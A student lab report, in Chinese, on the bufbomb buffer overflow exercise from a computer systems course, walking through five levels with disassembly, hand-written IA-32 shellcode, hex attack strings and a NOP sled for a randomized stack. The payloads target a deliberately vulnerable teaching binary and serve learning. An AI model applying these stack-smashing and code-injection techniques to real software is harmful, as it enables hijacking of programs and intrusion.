西北工业大学
计算机系统基础实验报告
姓名 班级 学号
实验成绩 指导教师 实验名称 缓冲区溢出攻击 实验目的:
通过使目标程序跳转到我们预定的位置执行,从而加深对IA-32函数调用规则和栈帧结构的理解。
实验工具:
linux、gdb调试器、反汇编工具objdump、将16进制数转化为ASCII码的工具hex2raw。
实验要求:
对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击,也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。
实验内容:
一、Smoke(让目标程序调用smoke函数)
本实验利用getbuf()函数不检查读取字符串长度的漏洞破坏该程序栈帧的返回地址从而达到对主程序造成破坏的目的。首先用objdump指令反汇编生成bufbomb的汇编语言文本文件。
可以找到getbuf函数代码如下:
080491f1 80491f1: 55 push %ebp 80491f2: 89 e5 mov %esp,%ebp 80491f4: 83 ec 38 sub $0x38,%esp 80491f7: 8d 45 d8 lea -0x28(%ebp),%eax 80491fa: 89 04 24 mov %eax,(%esp) 80491fd: e8 08 fb ff ff call 8048d0a 8049202: b8 01 00 00 00 mov $0x1,%eax 8049207: c9 leave 8049208: c3 ret 位于<0x80491f7> 地址处代码为预读的字符串在栈帧创建了0x28(也就是40)字节的空间。具体位置可以通过gdb在下一行设置断点查找 %eax 的值得到。为了覆盖被存在返回地址上的值,我们需要读入超过系统默认40字节大小的字符串。由于保存的%ebp旧址占据了4字节所以当我们的输入字符串为48字节时,最后4位刚好覆盖返回地址。 首先,在bufbomb的反汇编源代码中找到smoke函数,记下它的起始地址。 08048c28 所以构造的攻击字符转总共48个字节,并且前面44个字节可以为任意值,对程序的执行没有任何影响,只要最后四个字节正确地设置为smoke的起始地址<08048c28>即可,注意使用小端方式写入。字符串为: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 8c 04 08 运行结果如下: 二、Fizz(让目标程序使用特定参数调用Fizz函数) 和smoke的区别是要求跳入函数 fizz() 且该函数有一个参数(要求用所给cookie作参数)。由汇编代码可以找到fizz函数的地址是08048c52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 8c 04 08 00 00 00 00 c3 7b 98 5f 运行结果如下: 三、Bang(让目标程序调用Bang函数,并篡改全局变量) 08048cad 可以知道bang函数的地址为0x08048cad,通过阅读bang函数的代码,可以推断出全局变量global_value和cookie的地址。 global_value的地址是<> cookie的地址是<0x5f987bc3> 于是自己写汇编代码如下: movl $0x5f987bc3, 0x0804d100 pushl $0x08048cad ret 先将global_value用mov指令变成cookie (0x0804d100 前不加$ 表示地址),然后将bang()函数地址<0x08048cad>写给esp,再执行ret指令时,程序自动跳入bang()函数。将自己写的汇编代码变成机器代码。 将指令代码抄入攻击文件,除此之外我们还需要找到输入字符串存放的位置作为第一次ret 指令的目标位置,经过gdb调试分析getbuf()申请的40字节缓冲区首地址为<0x55682f38>。 所以bang.txt内容如下: c7 05 00 d1 04 08 c3 7b 98 5f 68 ad 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 2f 68 55 运行结果如下: 四、Boom(无感攻击,并传递有效返回值) getbuf() 结束后回到test()原本的位置(即call getbuf后的下一行),并将cookie作为getbuf()的返回值传给test()。保存的ebp旧址被复原,这样一来原程序就完全不会因为外部攻击而出错崩溃,也就是退出攻击后要保证栈空间还原。 8048dc9: e8 23 04 00 00 call 80491f1 8048dce: 89 c3 mov %eax,%ebx 可以知道在test函数中getbuf()在<0x08048dc9>被执行因此正确的跳转地址为 <0x08048dce>另外,要还原栈帧,我们必须知道在调用getbuf()之前的原始ebp的值,这里使用gdb调试来获取,可以在<0x08048dc9>(准备进入getbuf函数)设置断点,然后查看进入getbuf之前的%ebp寄存器值,这里我们得到的旧的ebp的值为<0x55682f90>,如下: 自己编写汇编代码如下: movl $0x5f987bc3, %eax push $0x08048dce ret 这里通过movl指令将cookie值传给%eax以返回给test(),然后使得程序跳转到test()中call getbuf下一条指令正常返回,但是并不在代码中处理ebp寄存器问题,而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。对其进行编译,然后反汇编得到机器码如下: 所以构造的攻击字符串如下: b8 c3 7b 98 5f 68 ce 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 2f 68 55 38 2f 68 55 运行结果如下: 五、Nitro(栈帧地址变化时的有效攻击) bufbomb调用testn(),testn()又调getbufn()。本题的任务是使getn返回cookie给testn()。题目的栈地址是动态的,每次都不一样,bufbomb会连续要输入5次字符串,每次都调用getbufn(),每次的栈地址都不一样,通过上网查找,我了解到可以使用汇编指令nop(机器代码:90)填充输入字符串,这样一来在一定范围内无论在哪里进入我们的攻击程序执行指令最终都会滑到攻击代码。虽然ebp的值每次变化,无法直接赋值,但是在getbufn()程序中 ebp和esp值差是一定的,通过gdp查找可以查到相差0x28。 08048e36 8048e36: 55 push %ebp 8048e37: 89 e5 mov %esp,%ebp 8048e39: 53 push %ebx 8048e3a: 83 ec 24 sub $0x24,%esp 8048e3d: e8 5e ff ff ff call 8048da0 8048e42: 89 45 f4 mov %eax,-0xc(%ebp) 8048e45: e8 bf 03 00 00 call 8049209 8048e4a: 89 c3 mov %eax,%ebx 8048e4c: e8 4f ff ff ff call 8048da0 通过试运行主程序发现五次input string的存储位置在0x55682ce8到0x55682db8之间,因此如果我们将第一次ret address 定为最高的0x55682db8那么就可以保证五次运行执行命令都不会在运行攻击程序之前遇到除nop(90)之外的其他指令。又根据testn开头的代码可以知道代码的返回地址应该是0x8048e4a。所以构造的攻击指令并且进行编译反编译结果如下: 查看getbufn的汇编代码如下: 08049209 8049209: 55 push %ebp 804920a: 89 e5 mov %esp,%ebp 804920c: 81 ec 18 02 00 00 sub $0x218,%esp 8049212: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 8049218: 89 04 24 mov %eax,(%esp) 804921b: e8 ea fa ff ff call 8048d0a 8049220: b8 01 00 00 00 mov $0x1,%eax 8049225: c9 leave 8049226: c3 ret 得知写入字符串的首地址为-0x208(%ebp),而返回地址位于0x4(%ebp),因此我们需填充524个字节的字符,再写4个字节覆盖getbufn()的返回地址。 填充字符串如下: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 c3 7b 98 5f 8d 6c 24 28 68 4a 8e 04 08 c3 b8 2d 68 55 测试结果如下: 实验心得和总结: 通过本次实验加深了对函数执行过程栈帧的使用方式的理解,以及缓冲区溢出的原理和用法,使自己对简单的汇编语言更加熟练掌握,最重要的一点是,通过本次实验,自己动手写了一些汇编语言代码,这是以前实验过程没有经历过的,更加强了汇编语言的实践。我还认识到,在以后的编程中,要尽量避免缓冲区溢出的漏洞,让自己的代码更加健壮。 因篇幅问题不能全部显示,请点此查看更多更全内容